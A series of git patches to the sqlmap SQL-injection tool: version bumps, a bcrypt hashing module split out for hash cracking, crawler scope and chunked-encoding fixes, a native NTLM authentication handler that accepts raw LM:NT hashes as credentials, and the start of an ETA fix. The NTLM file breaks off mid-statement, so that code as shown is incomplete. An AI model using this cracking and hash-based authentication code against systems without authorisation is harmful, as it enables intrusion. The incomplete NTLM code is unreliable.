-23e33f0b457e2a7114c9171ba9b42e1751b71ee3f384bba7fad39e4490adb803 lib/core/enums.py +1b0bafa991e74e053d4b3260491d4234c15f877e0f0f6d94630fb7eca52bc2ff lib/core/dicts.py +3339c9fe4119cbc3047136e90392e333dac3ba8db99186cbbb172c3db2a0b4df lib/core/dump.py +278083554dcba168174b8265b077726824b746cf7cfcf336a878a738117f0c5a lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -03c22d641e9f45aaaa0006bcbbaeb9987c21d1ecf78337dbe889ccfa1b8848ea lib/core/settings.py +17d1f589e2f839314d52ae66aba7aa3076ee336546bc1504265f847bbff06539 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -476,7 +476,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -37351d6fb7418e3659bec5c9a6f9f181a606deae74d3bc9fb8c97f495449471f plugins/generic/databases.py +511680a3f61a4413131356340cae7722b523fc4d050e63646c73d444de1a24d5 plugins/generic/databases.py a82834adfe09cd73d69fd954047e09dddcc6c63183994499ce134e27b56e2321 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py @@ -642,3 +642,10 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ter b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py 7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py +def1d902bf9528b2b769e603683e45c9691bd5f60968a806de6ab8c08c3f51fe plugins/dbms/hana/__init__.py +6d95111e148c2f2f8f41167e85fc83a19a16aa0320e2d0d23c78025181480537 plugins/dbms/hana/connector.py +de1312a5febbbe2676344c61c454652b6689103a3c41c3624acca795ad9ce882 plugins/dbms/hana/enumeration.py +9a955691b626aad6b7d571a6857a3c16759856d3939c1d92ef3864b437744780 plugins/dbms/hana/filesystem.py +41d741679664e5fad09bfcf640f0c8db16ed46238b795e20633dce6f95f6a755 plugins/dbms/hana/fingerprint.py +4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/hana/syntax.py +ea3eda65047c9c20961b02fdd67c0bb922c83230d34dc052eb143a75d36719c9 plugins/dbms/hana/takeover.py From c1363dd44cc0da19249af415aa7114f7faafc198 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:56:51 +0200 Subject: [PATCH 03/12] Minor refactoring --- lib/core/settings.py | 2 +- lib/utils/bcrypt.py | 146 +++++++++++++++++++++++++++++++++++++++++++ lib/utils/hash.py | 127 +------------------------------------ 3 files changed, 149 insertions(+), 126 deletions(-) create mode 100644 lib/utils/bcrypt.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6fb66aa5954..be0c390594d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.51" +VERSION = "1.10.7.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/bcrypt.py b/lib/utils/bcrypt.py new file mode 100644 index 00000000000..d8211574087 --- /dev/null +++ b/lib/utils/bcrypt.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import struct + +from lib.core.compat import xrange +from lib.core.convert import getBytes + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcryptHash(password, salt, cost): + """ + Provos-Mazieres EksBlowfish digest, base64-encoded (the openwall bcrypt hash tail) + + >>> bcryptHash("U*U", "CCCCCCCCCCCCCCCCCCCCC.", 5) + 'E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return _bcryptBase64(digest) + diff --git a/lib/utils/hash.py b/lib/utils/hash.py index cca7d4fc3e3..4531e0eca8e 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -94,6 +94,7 @@ from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from lib.utils.bcrypt import bcryptHash from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue @@ -552,112 +553,6 @@ def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'cac return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) -# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi -BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" - -_bcryptState = None - -def _bcryptInitState(): - global _bcryptState - - if _bcryptState is None: - count = 18 + 4 * 256 - ndigits = count * 8 - prec = ndigits + 16 - one = 1 << (4 * prec) - - def _arctan(inv): - total = term = one // inv - square = inv * inv - i = 1 - while term: - term //= square - total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) - i += 1 - return total - - frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) - hexstr = "%0*x" % (ndigits, frac) - words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] - _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) - - return _bcryptState - -def _bcryptEncipher(P, S, L, R): - for i in xrange(16): - L ^= P[i] - R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff - L, R = R, L - L, R = R, L - return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff - -def _bcryptStream(data, offset): - word = 0 - for _ in xrange(4): - word = ((word << 8) | data[offset[0]]) & 0xffffffff - offset[0] = (offset[0] + 1) % len(data) - return word - -def _bcryptExpand(P, S, data, key): - koffset = [0] - for i in xrange(18): - P[i] ^= _bcryptStream(key, koffset) - - doffset = [0] - L = R = 0 - for i in xrange(0, 18, 2): - if data: - L ^= _bcryptStream(data, doffset) - R ^= _bcryptStream(data, doffset) - L, R = _bcryptEncipher(P, S, L, R) - P[i], P[i + 1] = L, R - - for b in xrange(4): - for k in xrange(0, 256, 2): - if data: - L ^= _bcryptStream(data, doffset) - R ^= _bcryptStream(data, doffset) - L, R = _bcryptEncipher(P, S, L, R) - S[b][k], S[b][k + 1] = L, R - -def _bcryptBase64(data): - retVal = "" - i = 0 - while i < len(data): - c = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] - c = (c & 3) << 4 - if i >= len(data): - retVal += BCRYPT_ITOA64[c & 0x3f]; break - d = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] - c = (d & 0x0f) << 2 - if i >= len(data): - retVal += BCRYPT_ITOA64[c & 0x3f]; break - e = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] - retVal += BCRYPT_ITOA64[e & 0x3f] - return retVal - -def _bcryptUnbase64(value, length): - retVal = bytearray() - positions = [BCRYPT_ITOA64.index(_) for _ in value] - i = 0 - while i < len(positions) and len(retVal) < length: - c1 = positions[i] - c2 = positions[i + 1] if i + 1 < len(positions) else 0 - retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) - if len(retVal) >= length: - break - c3 = positions[i + 2] if i + 2 < len(positions) else 0 - retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) - if len(retVal) >= length: - break - c4 = positions[i + 3] if i + 3 < len(positions) else 0 - retVal.append((((c3 & 3) << 6) | c4) & 0xff) - i += 4 - return retVal[:length] - def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): """ Reference(s): @@ -667,25 +562,7 @@ def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' """ - P0, S0 = _bcryptInitState() - P, S = list(P0), [list(_) for _ in S0] - - key = bytearray(getBytes(password) + b"\0") - saltbytes = _bcryptUnbase64(salt, 16) - - _bcryptExpand(P, S, saltbytes, key) - for _ in xrange(1 << cost): - _bcryptExpand(P, S, b"", key) - _bcryptExpand(P, S, b"", saltbytes) - - ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) - for _ in xrange(64): - for j in xrange(0, 6, 2): - ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) - - digest = bytearray(struct.pack(">6I", *ctext))[:23] - - return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest)) + return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost)) def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' """ From 478888b19e5eb350d286412e2dac9bf90474792f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:57:08 +0200 Subject: [PATCH 04/12] Minor patch --- lib/core/settings.py | 2 +- lib/parse/sitemap.py | 3 ++- lib/utils/crawler.py | 2 ++ 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index be0c390594d..b12a812d679 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.52" +VERSION = "1.10.7.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index fd68ece04b7..882c86b2013 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -8,6 +8,7 @@ import re from lib.core.common import readInput +from lib.core.convert import htmlUnescape from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet @@ -47,7 +48,7 @@ def parseSitemap(url, retVal=None, visited=None): if abortedFlag: break - foundUrl = match.group(1).strip() + foundUrl = htmlUnescape(match.group(1).strip()) # Basic validation to avoid junk if not foundUrl.startswith("http"): diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 3741d2ace14..ff8d7bdd653 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -168,6 +168,8 @@ def crawlThread(): finally: if found: if items: + # keep sitemap-derived URLs on-scope, exactly like the HTML-crawl path above + items = OrderedSet(_ for _ in items if (re.search(conf.scope, _, re.I) if conf.scope else checkSameHost(_, target))) for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) From 8837dd24354cc462b8c725ab487360d2cb3f0f84 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 10:12:43 +0200 Subject: [PATCH 05/12] Minor patch --- lib/core/settings.py | 2 +- lib/request/chunkedhandler.py | 12 ++++++++++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b12a812d679..6df31db99e7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.53" +VERSION = "1.10.7.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 573f3b3d032..4fface114ac 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -14,6 +14,10 @@ class ChunkedHandler(_urllib.request.HTTPHandler): Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ + # Note: run after urllib's own request munging so that a Content-Length it may have added (the + # HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked' + handler_order = _urllib.request.HTTPHandler.handler_order + 1 + def _http_request(self, request): host = request.get_host() if hasattr(request, "get_host") else request.host if not host: @@ -23,7 +27,11 @@ def _http_request(self, request): data = request.data if not request.has_header(HTTP_HEADER.CONTENT_TYPE): request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") - if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked' + for store in (request.headers, request.unredirected_hdrs): + for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]: + del store[name] + elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH): request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host @@ -38,4 +46,4 @@ def _http_request(self, request): request.add_unredirected_header(name, value) return request - http_request = _http_request + http_request = https_request = _http_request From 767feba3a7f877f57f79d4f8dbd064870f17f5d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 10:38:19 +0200 Subject: [PATCH 06/12] Embedding the NTLM auth support (without the deprecated 3rd party lib) --- lib/core/option.py | 11 +- lib/core/settings.py | 2 +- lib/request/ntlm.py | 269 +++++++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 11 -- sqlmap.py | 11 -- tests/test_option.py | 10 +- 6 files changed, 275 insertions(+), 39 deletions(-) create mode 100644 lib/request/ntlm.py diff --git a/lib/core/option.py b/lib/core/option.py index 920d4d95c25..bb915197d21 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1515,15 +1515,8 @@ def _setHTTPAuthentication(): authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: - try: - from ntlm import HTTPNtlmAuthHandler - except ImportError: - errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM. Download from " - errMsg += "'https://github.com/mullender/python-ntlm'" - raise SqlmapMissingDependence(errMsg) - - authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) + from lib.request.ntlm import HTTPNtlmAuthHandler + authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6df31db99e7..95cd3266770 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.54" +VERSION = "1.10.7.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/ntlm.py b/lib/request/ntlm.py new file mode 100644 index 00000000000..1b88812943c --- /dev/null +++ b/lib/request/ntlm.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient +# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for +# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is +# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors. + +import base64 +import binascii +import os +import re +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.pydes.pyDes import des +from thirdparty.pydes.pyDes import ECB +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# ---------- MD4 (RFC 1320) ---------- +def _md4(data): + data = bytearray(data) + n = len(data) + data.append(0x80) + while len(data) % 64 != 56: + data.append(0) + data += struct.pack("> (32 - s))) & M + + for off in range(0, len(data), 64): + X = struct.unpack("<16I", bytes(data[off:off + 64])) + A, B, C, D = a, b, c, d + F = lambda x, y, z: (x & y) | (~x & z) + G = lambda x, y, z: (x & y) | (x & z) | (y & z) + H = lambda x, y, z: x ^ y ^ z + + for k in (0, 4, 8, 12): + A = rot((A + F(B, C, D) + X[k]) & M, 3) + D = rot((D + F(A, B, C) + X[k + 1]) & M, 7) + C = rot((C + F(D, A, B) + X[k + 2]) & M, 11) + B = rot((B + F(C, D, A) + X[k + 3]) & M, 19) + for k in (0, 1, 2, 3): + A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3) + D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5) + C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9) + B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13) + for k in (0, 2, 1, 3): + A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3) + D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9) + C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11) + B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15) + + a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M + + return struct.pack("<4I", a, b, c, d) + +# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ---------- +def _str_to_key(chunk): + s = bytearray(chunk) + k = [s[0] >> 1, + ((s[0] & 0x01) << 6) | (s[1] >> 2), + ((s[1] & 0x03) << 5) | (s[2] >> 3), + ((s[2] & 0x07) << 4) | (s[3] >> 4), + ((s[3] & 0x0f) << 3) | (s[4] >> 5), + ((s[4] & 0x1f) << 2) | (s[5] >> 6), + ((s[5] & 0x3f) << 1) | (s[6] >> 7), + s[6] & 0x7f] + return bytes(bytearray((_ << 1) & 0xff for _ in k)) + +def _des(key7, block8): + return des(_str_to_key(key7), ECB).encrypt(block8) + +# ---------- negotiate flags ---------- +NTLM_NegotiateUnicode = 0x00000001 +NTLM_NegotiateOEM = 0x00000002 +NTLM_RequestTarget = 0x00000004 +NTLM_NegotiateNTLM = 0x00000200 +NTLM_NegotiateOemDomainSupplied = 0x00001000 +NTLM_NegotiateOemWorkstationSupplied = 0x00002000 +NTLM_NegotiateAlwaysSign = 0x00008000 +NTLM_NegotiateExtendedSecurity = 0x00080000 +NTLM_NegotiateTargetInfo = 0x00800000 +NTLM_NegotiateVersion = 0x02000000 +NTLM_Negotiate128 = 0x20000000 +NTLM_Negotiate56 = 0x80000000 +NTLM_MsvAvTimestamp = 7 + +NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion | + NTLM_Negotiate128 | NTLM_Negotiate56) +NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo | + NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56) + +_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z") + +# ---------- password hashes / challenge responses ---------- +def create_LM_hashed_password_v1(password): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[0]) + pw = (getBytes(password.upper()) + b"\0" * 14)[:14] + return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%") + +def create_NT_hashed_password_v1(password, user=None, domain=None): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[1]) + return _md4(password.encode("utf-16-le")) + +def calc_resp(password_hash, server_challenge): + ph = password_hash + b"\0" * (21 - len(password_hash)) + return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge) + +def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge): + import hashlib + lm_response = client_challenge + b"\0" * 16 + session = hashlib.md5(server_challenge + client_challenge).digest() + nt_response = calc_resp(nt_hash, session[0:8]) + return (nt_response, lm_response) + +# ---------- messages ---------- +def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS): + workstation = getBytes(socket.gethostname().upper()) + domain = getBytes(user.split('\\', 1)[0].upper()) + body = 40 + msg = b"NTLMSSP\0" + struct.pack(" Date: Thu, 9 Jul 2026 13:25:50 +0200 Subject: [PATCH 07/12] Fixing --eta --- lib/core/settings.py | 5 +- lib/request/inject.py | 58 +++++++++++++++- lib/utils/progress.py | 43 ++++++++++-- plugins/generic/databases.py | 15 ++-- plugins/generic/entries.py | 8 ++- tests/test_progress.py | 131 +++++++++++++++++++++++++++++++++++ tests/test_techniques.py | 42 +++++++++++ 7 files changed, 284 insertions(+), 18 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 95cd3266770..04460590cbe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.55" +VERSION = "1.10.7.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -249,6 +249,9 @@ # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier +ETA_DISPLAY_SMOOTHING = 0.5 + # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 diff --git a/lib/request/inject.py b/lib/request/inject.py index 731a47b0cbc..8948a07cc6d 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -8,6 +8,7 @@ from __future__ import print_function import re +import threading import time from lib.core.agent import agent @@ -16,6 +17,7 @@ from lib.core.common import dataToStdout from lib.core.common import unArrayizeValue from lib.core.datatype import AttribDict +from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds @@ -58,12 +60,14 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import IS_TTY from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads +from lib.core.threads import setDaemon from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct @@ -405,6 +409,25 